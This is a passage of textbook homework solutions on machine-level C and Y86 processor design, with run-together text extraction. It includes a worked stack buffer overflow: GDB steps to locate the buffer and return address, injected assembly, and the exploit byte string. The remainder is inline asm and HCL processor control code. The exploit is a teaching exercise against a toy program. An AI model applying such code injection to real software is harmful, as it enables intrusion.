call8048470<getxs>98048506:b801000000mov$0x1,%eax10804850b:89ec mov%ebp,%esp11804850d:5d pop%ebp12804850e:c3ret13804850f:90nopWe can see on line6that the address of buf is12bytes below the saved value of%ebp,which is4bytes below the return address.Our strategy then is to push a string that contains12bytes of code,the saved value1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS15 of%ebp,and the address of the start of the buffer.To determine the relevant values,we run GDB as follows:1.First,we set a breakpoint in getbuf and run the program to that point:(gdb)break getbuf(gdb)runComparing the stopping point to the disassembly,we see that it has already set up the stack frame.2.We get the value of buf by computing a value relative to%ebp:(gdb)print/x(%ebp+12)This gives0xbfffefbc.3.Wefind the saved value of register%ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0xbfffefe8.4.Wefind the value of the return pointer on the stack,at offset4relative to%ebp:(gdb)print/x*((int*)$ebp+1)This gives0x8048528We can now put this information together to generate assembly code for our attack:1pushl$0x8048528Put correct return pointer back on stack2movl$0xdeadbeef,%eax Alter return value3ret Re-execute return4.align4Round up to125.long0xbfffefe8Saved value of%ebp6.long0xbfffefbc Location of buf7.long0x00000000PaddingNote that we have used the.align statement to get the assembler to insert enough extra bytes to use up twelve bytes for the code.We added an extra4bytes of0s at the end,because in some cases OBJDUMP would not generate the complete byte pattern for the data.These extra bytes(plus the termininating null byte)will overflow into the stack frame for test,but they will not affect the program behavior. Assembling this code and disassembling the object code gives us the following:10:6828850408push$0x804852825:b8ef be ad de mov$0xdeadbeef,%eax3a:c3ret4b:90nop Byte inserted for alignment.5c:e8ef ff bf bc call0xbcc00000Invalid disassembly.611:ef out%eax,(%dx)Trying to diassemble712:ff(bad)data813:bf00000000mov$0x0,%edi16CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS From this we can read off the byte sequence:6828850408b8ef be ad de c390e8ef ff bf bc ef ff bf00000000Problem3.39Solution:This problem is a variant on the asm examples in the text.The code is actually fairly simple.It relies on the fact that asm outputs can be arbitrary lvalues,and hence we can use dest[0]and dest[1]directly in the output list.code/asm/asmprobs-ans.c Problem3.40Solution:For this example,students essentially have to write the entire function in assembly.There is no(apparent) way to interface between thefloating point registers and the C code using extended asm.code/asm/fscale.c1.4.CHAPTER4:PROCESSOR ARCHITECTURE17 1.4Chapter4:Processor ArchitectureProblem4.32Solution:This problem makes students carefully examine the tables showing the computation stages for the different instructions.The steps for iaddl are a hybrid of those for irmovl and OPl.StageFetchrA:rB M PCvalP PCExecuteR rB valEPC updateleaveicode:ifun M PCDecodevalB RvalE valBMemoryWrite backR valMPC valPProblem4.34Solution:The following HCL code includes implementations of both the iaddl instruction and the leave instruc-tions.The implementations are fairly straightforward given the computation steps listed in the solutions to problems4.32and4.33.You can test the solutions using the test code in the ptest subdirectory.Make sure you use command line argument‘-i.’18CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1####################################################################2#HCL Description of Control for Single Cycle Y86Processor SEQ#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"sim.h"’15quote’int sim_main(int argc,char*argv[]);’16quote’int gen_pc(){return0;}’17quote’int main(int argc,char*argv[])’18quote’{plusmode=0;return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’35intsig IPUSHL’I_PUSHL’36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##### 48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic####################1.4.CHAPTER4:PROCESSOR ARCHITECTURE195152#####Fetch stage inputs#####53intsig pc’pc’#Program counter54#####Fetch stage computations#####55intsig icode’icode’#Instruction control code56intsig ifun’ifun’#Instruction function57intsig rA’ra’#rA field from instruction58intsig rB’rb’#rB field from instruction59intsig valC’valc’#Constant from instruction60intsig valP’valp’#Address of following instruction 6162#####Decode stage computations#####63intsig valA’vala’#Value from register A port64intsig valB’valb’#Value from register B port 6566#####Execute stage computations#####67intsig valE’vale’#Value computed by ALU68boolsig Bch’bcond’#Branch test6970#####Memory stage computations#####71intsig valM’valm’#Value read from memory727374####################################################################75#Control Signal Definitions.#76#################################################################### 7778################Fetch Stage################################### 7980#Does fetched instruction require a regid byte?81bool need_regids=82icode in{IRRMOVL,IOPL,IPUSHL,IPOPL,83IIADDL,84IIRMOVL,IRMMOVL,IMRMOVL};8586#Does fetched instruction require a constant word?87bool need_valC=88icode in{IIRMOVL,IRMMOVL,IMRMOVL,IJXX,ICALL,IIADDL};8990bool instr_valid=icode in91{INOP,IHALT,IRRMOVL,IIRMOVL,IRMMOVL,IMRMOVL,92IIADDL,ILEAVE,93IOPL,IJXX,ICALL,IRET,IPUSHL,IPOPL};9495################Decode Stage################################### 9697##What register should be used as the A source?98int srcA=[99icode in{IRRMOVL,IRMMOVL,IOPL,IPUSHL}:rA;20CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 101icode in{IPOPL,IRET}:RESP;1021:RNONE;#Don’t need register103];104105##What register should be used as the B source?106int srcB=[107icode in{IOPL,IRMMOVL,IMRMOVL}:rB;108icode in{IIADDL}:rB;109icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;110icode in{ILEAVE}:REBP;1111:RNONE;#Don’t need register112];113114##What register should be used as the E destination?115int dstE=[116icode in{IRRMOVL,IIRMOVL,IOPL}:rB;117icode in{IIADDL}:rB;118icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;119icode in{ILEAVE}:RESP;1201:RNONE;#Don’t need register121];122123##What register should be used as the M destination?124int dstM=[125icode in{IMRMOVL,IPOPL}:rA;126icode in{ILEAVE}:REBP;1271:RNONE;#Don’t need register128];129130################Execute Stage###################################131132##Select input A to ALU133int aluA=[134icode in{IRRMOVL,IOPL}:valA;135icode in{IIRMOVL,IRMMOVL,IMRMOVL}:valC;136icode in{IIADDL}:valC;137icode in{ICALL,IPUSHL}:-4;138icode in{IRET,IPOPL}:4;139icode in{ILEAVE}:4;140#Other instructions don’t need ALU141];142143##Select input B to ALU144int aluB=[145icode in{IRMMOVL,IMRMOVL,IOPL,ICALL,146IPUSHL,IRET,IPOPL}:valB;147icode in{IIADDL,ILEAVE}:valB;148icode in{IRRMOVL,IIRMOVL}:0;149#Other instructions don’t need ALU1.4.CHAPTER4:PROCESSOR ARCHITECTURE21151152##Set the ALU function153int alufun=[154icode==IOPL:ifun;1551:ALUADD;156];157158##Should the condition codes be updated?159bool set_cc=icode in{IOPL,IIADDL};160161################Memory Stage###################################162163##Set read control signal164bool mem_read=icode in{IMRMOVL,IPOPL,IRET,ILEAVE};165166##Set write control signal167bool mem_write=icode in{IRMMOVL,IPUSHL,ICALL};168169##Select memory address170int mem_addr=[171icode in{IRMMOVL,IPUSHL,ICALL,IMRMOVL}:valE;172icode in{IPOPL,IRET}:valA;173icode in{ILEAVE}:valA;174#Other instructions don’t need address175];176177##Select memory input data178int mem_data=[179#Value from register180icode in{IRMMOVL,IPUSHL}:valA;181#Return PC182icode==ICALL:valP;183#Default:Don’t write anything184];185186################Program Counter Update############################187188##What address should instruction be fetched at189190int new_pc=[191#e instruction constant192icode==ICALL:valC;193#Taken e instruction constant194icode==IJXX&&Bch:valC;195#Completion of RET e value from stack196icode==IRET:valM;197#Default:Use incremented PC1981:valP;199];22CHAPTER 1.SOLUTIONS TO HOMEWORK PROBLEMSME DMispredictE DM E DM M E D E DMGen./use 1W E DM Gen./use 2WE DM Gen./use 3W Figure 1.1:Pipeline states for special control conditions.The pairs connected by arrows can arisesimultaneously.code/arch/pipe-nobypass-ans.hcl1.4.CHAPTER4:PROCESSOR ARCHITECTURE232#At most one of these can be true.3bool F_bubble=0;4bool F_stall=5#Stall if either operand source is destination of6#instruction in execute,memory,or write-back stages7d_srcA!=RNONE&&d_srcA in8{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||9d_srcB!=RNONE&&d_srcB in10{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||11#Stalling at fetch while ret passes through pipeline12IRET in{D_icode,E_icode,M_icode};1314#Should I stall or inject a bubble into Pipeline Register D?15#At most one of these can be true.16bool D_stall=17#Stall if either operand source is destination of18#instruction in execute,memory,or write-back stages19#but not part of mispredicted branch20!(E_icode==IJXX&&!e_Bch)&&21(d_srcA!=RNONE&&d_srcA in22{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||23d_srcB!=RNONE&&d_srcB in24{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE});2526bool D_bubble=27#Mispredicted branch28(E_icode==IJXX&&!e_Bch)||29#Stalling at fetch while ret passes through pipeline30!(E_icode in{IMRMOVL,IPOPL}&&E_dstM in{d_srcA,d_srcB})&&31#but not condition for a generate/use hazard32!(d_srcA!=RNONE&&d_srcA in33{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||34d_srcB!=RNONE&&d_srcB in35{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE})&&36IRET in{D_icode,E_icode,M_icode};3738#Should I stall or inject a bubble into Pipeline Register E?39#At most one of these can be true.40bool E_stall=0;41bool E_bubble=42#Mispredicted branch43(E_icode==IJXX&&!e_Bch)||44#Inject bubble if either operand source is destination of45#instruction in execute,memory,or write back stages46d_srcA!=RNONE&&47d_srcA in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}|| 48d_srcB!=RNONE&&49d_srcB in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE};5024CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 52#At most one of these can be true.53bool M_stall=0;54bool M_bubble=0;code/arch/pipe-full-ans.hcl 1####################################################################2#HCL Description of Control for Pipelined Y86Processor#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"pipeline.h"’15quote’#include"stages.h"’16quote’#include"sim.h"’17quote’int sim_main(int argc,char*argv[]);’18quote’int main(int argc,char*argv[]){return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’1.4.CHAPTER4:PROCESSOR ARCHITECTURE25 36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##########################48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic##############5152#####Pipeline Register F##########################################5354intsig F_predPC’pc_curr->pc’#Predicted value of PC5556#####Intermediate Values in Fetch Stage###########################5758intsig f_icode’if_id_next->icode’#Fetched instruction code59intsig f_ifun’if_id_next->ifun’#Fetched instruction function60intsig f_valC’if_id_next->valc’#Constant data of fetched instruction 61intsig f_valP’if_id_next->valp’#Address of following instruction 6263#####Pipeline Register D##########################################64intsig D_icode’if_id_curr->icode’#Instruction code65intsig D_rA’if_id_curr->ra’#rA field from instruction66intsig D_rB’if_id_curr->rb’#rB field from instruction67intsig D_valP’if_id_curr->valp’#Incremented PC6869#####Intermediate Values in Decode Stage#########################7071intsig d_srcA’id_ex_next->srca’#srcA from decoded instruction72intsig d_srcB’id_ex_next->srcb’#srcB from decoded instruction73intsig d_rvalA’d_regvala’#valA read from register file74intsig d_rvalB’d_regvalb’#valB read from register file 7576#####Pipeline Register E##########################################77intsig E_icode’id_ex_curr->icode’#Instruction code78intsig E_ifun’id_ex_curr->ifun’#Instruction function79intsig E_valC’id_ex_curr->valc’#Constant data80intsig E_srcA’id_ex_curr->srca’#Source A register ID81intsig E_valA’id_ex_curr->vala’#Source A value82intsig E_srcB’id_ex_curr->srcb’#Source B register ID83intsig E_valB’id_ex_curr->valb’#Source B value84intsig E_dstE’id_ex_curr->deste’#Destination E register ID。